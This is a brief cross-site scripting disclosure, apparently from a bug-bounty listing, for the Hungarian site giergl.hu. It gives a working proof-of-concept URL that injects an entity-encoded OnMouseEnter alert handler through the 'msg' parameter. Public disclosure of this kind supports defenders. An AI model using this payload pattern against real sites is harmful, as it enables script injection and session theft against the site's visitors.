giergl.hu XSS vulnerability

Vulnerable URL: http://giergl.hu/galeria.php?msg=QmF5ZXIgdmlsbGEgYSBNaW5lcnZhIHV0Y2EgZmVs9Ww=%22%27--!%3E%3CHtml%20OnMouseEnter=%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2396%3BOPENBUGBOUNTY%26%2396%26%2341%20%3C!--//%3E=b192b927d8f8fc2f=MTBfZUlNR180ODYxLkpQRw== Details: Description...